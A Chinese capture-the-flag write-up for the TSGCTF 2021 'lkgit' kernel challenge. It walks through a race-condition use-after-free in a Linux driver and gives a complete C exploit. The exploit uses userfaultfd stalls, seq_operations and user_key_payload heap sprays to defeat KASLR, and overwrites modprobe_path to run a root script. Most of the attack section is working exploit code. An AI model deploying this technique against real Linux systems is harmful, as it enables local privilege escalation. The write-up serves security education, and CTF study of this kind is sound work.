【userfaultfd+条件竞争劫持modprobe_path】TSGCTF 2021 -- lkgit

前言

入门题,单纯就是完成每日一道 kernel pwnkpi 😀

题目分析

  • 内核版本:v5.10.25,可以使用 userfaultfd,不存在 cg 隔离
  • 开启了 smap/smep/kaslr/kpti 保护
  • 开启了 SLAB_HADNERN/RANDOM 保护

题目给了源码,其实现了一个 light git?总的来说,整个过程都没有上锁,所以对应临界区资源存在竞争漏洞:

#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/slab.h>
#include"../include/lkgit.h"hash_object *objects[HISTORY_MAXSZ] = {0}; // HISTORY_MAXSZ = 0x30 static int find_by_hash(char *hash) {int ix;for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)return ix;}return -1;
}static void get_hash(char *content, char *buf) {int ix,jx;unsigned unit = FILE_MAXSZ / HASH_SIZE;char c;for (ix = 0; ix != HASH_SIZE; ++ix) {c = 0;for(jx = 0; jx != unit; ++jx) {c ^= content[ix * unit + jx];}buf[ix] = c;}
}static long save_object(hash_object *obj) {int ix;int dup_ix;// first, find conflict of hash// 对应 hash 的 object 是否已经存在,存在则释放掉if((dup_ix = find_by_hash(obj->hash)) != -1) {// 仅仅释放了 hash_object,里面的 content/message 指针都没有释放(:存在内存泄漏问题,但是与漏洞利用无关kfree(objects[dup_ix]);objects[dup_ix] = NULL;}// assign object// 存储 objectfor (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] == NULL) {objects[ix] = obj;return 0;}}return -LKGIT_ERR_UNKNOWN;
}static long lkgit_hash_object(hash_object *reqptr) {long ret = -LKGIT_ERR_UNKNOWN;char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL); // 0x40char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object)))goto end;if (copy_from_user(content_buf, req->content, FILE_MAXSZ)|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))goto end;req->content = content_buf;req->message = message_buf;// 计算 content_buf 的 hash,结果存储在 req->hash 中// content_buf 的大小为 64,hash 的大小为 16// 所以这里 hash[idx] = content_buf[i] ^ content_buf[i+1] ^ content_buf[i+2] ^ content_buf[i+3]get_hash(content_buf, req->hash);// 返回用户 hash 值if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {goto end;}ret = save_object(req);end:return ret;
}static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];// 返回 content 给用户if (copy_to_user(req->content, target->content, FILE_MAXSZ))goto end;// validity check of hash// 检查 hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // <=========== stop to bypass kaslrgoto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE))goto end;ret = 0;}end:return ret;
}static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarily// 修改 messageif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // <============== stop to arb_writegoto end;// return old information of objectret = lkgit_get_object(reqptr);// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);}end:return ret;
}static long lkgit_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {switch(cmd){case LKGIT_HASH_OBJECT:return lkgit_hash_object((hash_object *)arg);case LKGIT_GET_OBJECT:return lkgit_get_object((log_object*)arg);case LKGIT_AMEND_MESSAGE:return lkgit_amend_message((log_object*)arg);default:return -LKGIT_ERR_UNIMPLEMENTED;};
}static const struct file_operations lkgit_fops = {.owner = THIS_MODULE,.unlocked_ioctl = lkgit_ioctl,
};static struct miscdevice lkgit_device = {.minor = MISC_DYNAMIC_MINOR,.name = "lkgit",.fops = &lkgit_fops,
};static int __init lkgit_init(void) {return misc_register(&lkgit_device);
}static void __exit lkgit_exit(void) {misc_deregister(&lkgit_device);
}module_init(lkgit_init);
module_exit(lkgit_exit);
MODULE_AUTHOR("TSGCTF");
MODULE_LICENSE("GPL");

题目主要维护的结构体如下:

typedef struct {char hash[HASH_SIZE];char *content;char *message;
} hash_object;typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;

通过源码可以看到,这里保存的是 hash_object 结构体,然后 content => kmalloc-64message => kmalloc-32hash_object => kmalloc-32,所以这里 message / hash_object 在同一个 slab-cache

然后通过源码可以发现,对堆块的释放仅仅在 save_object 函数中存在:

static long save_object(hash_object *obj) {int ix;int dup_ix;// first, find conflict of hash// 对应 hash 的 object 是否已经存在,存在则释放掉if((dup_ix = find_by_hash(obj->hash)) != -1) {// 仅仅释放了 hash_object,里面的 content/message 指针都没有释放(:存在内存泄漏问题,但是与漏洞利用无关kfree(objects[dup_ix]);objects[dup_ix] = NULL;}// assign object// 存储 objectfor (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] == NULL) {objects[ix] = obj;return 0;}}return -LKGIT_ERR_UNKNOWN;
}

而且这里只是释放了 hash_object,而 content / message 对应的内存都没有释放(:这里其实也算是一个 bug。而 save_object 是在 lkgit_hash_object 中调用的,每次保存创建的 hash_object 时,都会检查 objects 数组中是否存在相同 hashhash_object,如果存在则会把原来的释放掉

而前面说了,整个过程都没有上锁,所以可以在执行其它操作时,在 save_object 中将原来的 hash_object 释放掉,这时可能会导致 UAF

漏洞利用

题目开启了 kaslr,所以第一步就是去 bypass kaslr,这里主要利用 lkgit_get_object 函数:

static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];// 返回 content 给用户if (copy_to_user(req->content, target->content, FILE_MAXSZ))goto end;// validity check of hash// 检查 hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // 【1】 <=========== stop to bypass kaslrgoto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【2】goto end;ret = 0;}end:return ret;
}

这里用户传入的是 log_object 结构体:

typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;

我们可以在【1】处使用 userfaultfd 使得暂停,然后释放掉 target,在堆喷 seq_operations 占据释放后的 target,那么恢复执行后,在【2】处就可以泄漏 kbase(:此时复制的 hash 就是 seq_operations 的前 0x10 字节

后面笔者打的是 modprobe_path,这里主要利用 lkgit_amend_message 函数:

static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarily// 修改 messageif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // 【1】<============== stop to arb_writegoto end;// return old information of objectret = lkgit_get_object(reqptr);// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ); // 【2】}end:return ret;
}

同样的道理,在【1】处利用 userfaultfd 使其暂停下来,然后释放掉 target,此时堆喷 user_key_payload,并伪造 message 字段为 modprobe_path,那么恢复执行后,在 【2】处就是往 modprobe_path 中写入数据

最后 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{perror(msg);sleep(2);exit(EXIT_FAILURE);
}void fail_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(2);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}#define LKGIT_HASH_OBJECT         0xdead0001
#define LKGIT_AMEND_MESSAGE       0xdead0003
#define LKGIT_GET_OBJECT          0xdead0004#define LKGIT_ERR_UNIMPLEMENTED   0xdead1000
#define LKGIT_ERR_OBJECT_NOTFOUND 0xdead1001
#define LKGIT_ERR_UNKNOWN         0xdead1100#define FILE_MAXSZ                0x40
#define MESSAGE_MAXSZ             0x20
#define HISTORY_MAXSZ             0x30#define HASH_SIZE                 0x10typedef struct {char hash[HASH_SIZE];char *content;char *message;
} hash_object;typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;int fd;
uint64_t kbase;
uint64_t koffset;
char ghash[HASH_SIZE];
char gcontent[FILE_MAXSZ];
char gmessage[MESSAGE_MAXSZ];void add(char* hash, char* content, char* message) {hash_object o = { .content = content, .message = message };ioctl(fd, LKGIT_HASH_OBJECT, &o);memcpy(hash, o.hash, HASH_SIZE);
}void show(char* hash, char* content, char* message) {log_object o = { 0 };memcpy(o.hash, hash, HASH_SIZE);ioctl(fd, LKGIT_GET_OBJECT, &o);memcpy(content, o.content, FILE_MAXSZ);
//      memcpy(message, o.message, MESSAGE_MAXSZ);
}void amend(char* hash, char* content, char* message) {log_object o = { 0 };memcpy(o.hash, hash, HASH_SIZE);memcpy(o.message, message, MESSAGE_MAXSZ);ioctl(fd, LKGIT_GET_OBJECT, &o);memcpy(content, o.content, FILE_MAXSZ);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000];
void* handler1(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler1");#define SEQ_NUMS 0x30int seq_fds[SEQ_NUMS];memset(gcontent, 0, FILE_MAXSZ);add(ghash, gcontent, gmessage);for (int i = 0; i < 0x20; i++) {seq_fds[i] = open("/proc/self/stat", O_RDONLY);if (seq_fds[i] < 0) err_exit("open /proc/self/stat");}uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void* handler2(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler2");#define KEY_NUMS 0x30char desc[0x10];uint64_t buf[4];int key_ids[KEY_NUMS];buf[0]=buf[1]=buf[2]=buf[3]= koffset + 0xffffffff81c3cb20;memset(ghash, 0, HASH_SIZE);memcpy(gcontent, "ABCD", 4);add(ghash, gcontent, gmessage);for (int i = 0; i < KEY_NUMS; i++) {sprintf(desc, "%s%d", "k", i);key_ids[i] = key_alloc(desc, buf, 8);if (key_ids[i] < 0) err_exit("key_alloc");}memcpy(copy_src, "/tmp/x", strlen("/tmp/x"));uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /home/user/flag' > /tmp/x");system("chmod +x /tmp/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");system("chmod +x /tmp/dummy");system("/tmp/dummy");sleep(0.3);system("cat /home/user/flag");exit(0);
}int main(int argc, char** argv, char** envp)
{bind_core(0);char buf[0x1000] = { 0 };char hash[HASH_SIZE] = { 0 };char content[FILE_MAXSZ] = { 0 };char message[MESSAGE_MAXSZ] = { 0 };pthread_t thr1, thr2;char* uffd1_buf, *uffd2_buf;fd = open("/dev/lkgit", O_RDONLY);if (fd < 0) err_exit("open /dev/lkgit");uffd1_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);uffd2_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);if (uffd1_buf == MAP_FAILED || uffd2_buf == MAP_FAILED) err_exit("mmap for uffd_buf");register_userfaultfd(&thr1, uffd1_buf+0x1000, 0x1000, handler1);register_userfaultfd(&thr2, uffd2_buf+0x1000, 0x1000, handler2);memset(content, 0, FILE_MAXSZ);add(hash, content, message);log_object* o = (log_object*)(uffd1_buf + 0x1000 - HASH_SIZE - FILE_MAXSZ);memcpy(o->hash, hash, HASH_SIZE);ioctl(fd, LKGIT_GET_OBJECT, o);binary_dump("LEAK DATA", o->hash, HASH_SIZE);koffset = *(uint64_t*)(o->hash);if (koffset&0xfff != 0xc20) fail_exit("bypase kaslr");koffset -= 0xffffffff811adc20;kbase = 0xffffffff81000000 + koffset;printf("[+] koffset:  %#llx\n", koffset);memcpy(content, "ABCD", 4);add(hash, content, message);o = (log_object*)(uffd2_buf + 0x1000 - HASH_SIZE - FILE_MAXSZ);memcpy(o->hash, hash, HASH_SIZE);ioctl(fd, LKGIT_AMEND_MESSAGE, o);get_flag();puts("[+] EXP NERVER END");return 0;
}

效果如下:
在这里插入图片描述

总结

题目比较简单,userfaultfd 的艺术其实基本用不了了,但是我发现我越来越依赖 modprobe_path 了,然后 user_key_payload 真是一个比较完美的堆喷对象

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/705564.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

玩转Matlab-Simscape(初级)- 06 - 基于Solidworks、Matlab Simulink、COMSOL的协同仿真(理论部分2)

** 玩转Matlab-Simscape&#xff08;初级&#xff09;- 06 - 基于Solidworks、Matlab Simulink、COMSOL的协同仿真&#xff08;理论部分2&#xff09; ** 目录 玩转Matlab-Simscape&#xff08;初级&#xff09;- 06 - 基于Solidworks、Matlab Simulink、COMSOL的协同仿真&am…

u3d的ab文件注意事项

//----------------LoadAllAB.cs--------------------- using System.Collections;using UnityEngine;namespace System.IO{public class LoadAllAB : MonoBehaviour{ //读取本地string path "Assets/Actors/lznh/ab/animation/t_bl/";// Use this for initiali…

第一个fyne应用

第一个fyne应用 由于在写一个milvus的图形化工具&#xff0c;方便客户端使用&#xff0c;调研了一下只有这fyne的go-gui的star最多&#xff0c;比较流行&#xff0c;因此打算使用这个框架来进行milvus的工具开发。 第一个fyne应用 依赖go.mod: module fynedemogo 1.20requi…

Kafka应用Demo: 抽取消费者公共处理代码并利用redis实现多消费者实例负载分担

问题描述 在项目中使用消息中间件&#xff0c;主要为实现两个目的&#xff1a; 任务排队&#xff1a;当请求过多时&#xff0c;消费端无法同时处理&#xff0c;需要排队等待。这一点kafka采用的是"拉取消息"的模式&#xff0c;自然支持。负载分担: 这里的负载负担不…

Benedict Evans:Ways to think about AGI思考 AGI 的方法:

​Benedict Evans本文发布于2024 年 5 月 4 日 How do we think about a fundamentally unknown and unknowable risk, when the experts agree only that they have no idea? 当专家们一致认为他们一无所知时&#xff0c;我们如何看待根本上未知和不可知的风险&#xff1f; T…

JVM学习-虚拟机栈

虚拟机栈 每个线程创建时都会创建一个虚拟机栈&#xff0c;其内部保存一个个栈帧&#xff0c;对应一次次Java方法调用&#xff0c;栈是线程私有的。 生命周期: 与线程相同 作用 主管Java程序的运行&#xff0c;它保存方法的局部变量、部分结果、并参与方法的调用和返回。 …

【管理咨询宝藏104】普华永道财务管理与内控培训

本报告首发于公号“管理咨询宝藏”&#xff0c;如需阅读完整版报告内容&#xff0c;请查阅公号“管理咨询宝藏”。 【管理咨询宝藏104】普华永道财务管理与内控培训 【格式】PDF版本 【关键词】普华永道、四大、财务管理 【核心观点】 - 职能转变后&#xff0c;财务在决策支持…

亚马逊跨境电商平台优势凸显,武汉星起航解析助力卖家把握商机

在全球电商市场的激烈竞争中&#xff0c;亚马逊凭借其独特的优势和卓越的运营能力&#xff0c;成为众多卖家首选的跨境电商平台。武汉星起航作为深耕亚马逊跨境电商领域的领军企业&#xff0c;对亚马逊平台的优势有着深刻的理解和独到的见解。本文将重点探讨亚马逊跨境电商平台…

eMMC和SD模式速率介绍

概述 在实际项目开发中我们常见的问题是有人会问&#xff0c;“当前项目eMMC、SD所使用模式是什么&#xff1f; 速率是多少&#xff1f;”。这些和eMMC、SD的协议中要求的&#xff0c;要符合协议。接下来整理几张图来介绍。 eMMC 模式介绍 一般情况下我们项目中都是会支持到H…

基于SpringBoot设计模式之创建型设计模式·工厂方法模式

文章目录 介绍开始架构图样例一定义工厂定义具体工厂&#xff08;上衣、下装&#xff09;定义产品定义具体生产产品&#xff08;上衣、下装&#xff09; 测试样例 总结优点缺点与抽象工厂不同点 介绍 在 Factory Method模式中&#xff0c;父类决定实例的生成方式&#xff0c;但…

牛客NC404 最接近的K个元素【中等 二分查找+双指针 Java/Go/PHP】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/b4d7edc45759453e9bc8ab71f0888e0f 知识点 二分查找&#xff1b;找到第一个大于等于x的数的位置idx;然后从idx开始往两边扩展Java代码 import java.util.*;public class Solution {/*** 代码中的类名、方法名、…

UnitTest / pytest 框架

文章目录 一、UnitTest框架1. TestCase使用2. TestSuite 和 TestRunner3. TestLoader4. Fixture装置5. UnitTest断言1. 登录案例 6. 参数化1. parameterized插件 7. unitTest 跳过 二、pytest 框架1. 运行方式3.读取配置文件(常用方式) 2. pytest执行用例的顺序1. 分组执行(冒烟…